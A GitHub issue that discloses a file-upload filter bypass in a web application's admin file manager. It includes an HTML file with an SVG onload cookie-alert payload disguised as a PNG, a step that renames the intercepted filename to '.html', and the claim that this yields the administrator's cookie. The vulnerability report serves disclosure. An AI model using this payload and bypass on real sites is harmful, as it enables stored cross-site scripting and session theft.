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bypassed extension filter in uploading process different before #461

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yaoyao6688 opened this issue Oct 11, 2019 · 0 comments
Open

bypassed extension filter in uploading process different before #461

yaoyao6688 opened this issue Oct 11, 2019 · 0 comments

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@yaoyao6688
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yaoyao6688 commented Oct 11, 2019 •
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Brief of this vulnerability
There are many suffix names such as PHP and HTML in uploading files, but the following methods can bypass file restrictions, upload malicious HTML types and execute arbitrary JS code
Test Environment
php7.0.7+apache
Affect version
<=3.0.4
Payload
1 Visit website http://[address]:[port]/[app_path]/admin/index.php?id=filesmanager with login
2 Save html codes with '.png' extensions. and upload it like below.

<html> 
    <head> 
	    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
        <title>hacker</title> 
    </head> 
    <body> 
     <svg/onload=alert(document.cookie)>
    </body> 
</html>

3 Click the uploaded file name and Grab the packet and change the suffix name to XXX"".html at filename，This circumvents this limitation.
4 move to http://[address]:[port]/[app_path]/public/uploads/[uploaded file]
You can see that you executed HTML and JS code，If you access this file, you can get the administrator's cookie and execute any JS code
the details of these vulnerabilities to see
http://test.lingdong.store/2019/10/12/Bypass-the-HTML-file-suffix-restriction-when-uploading-files/
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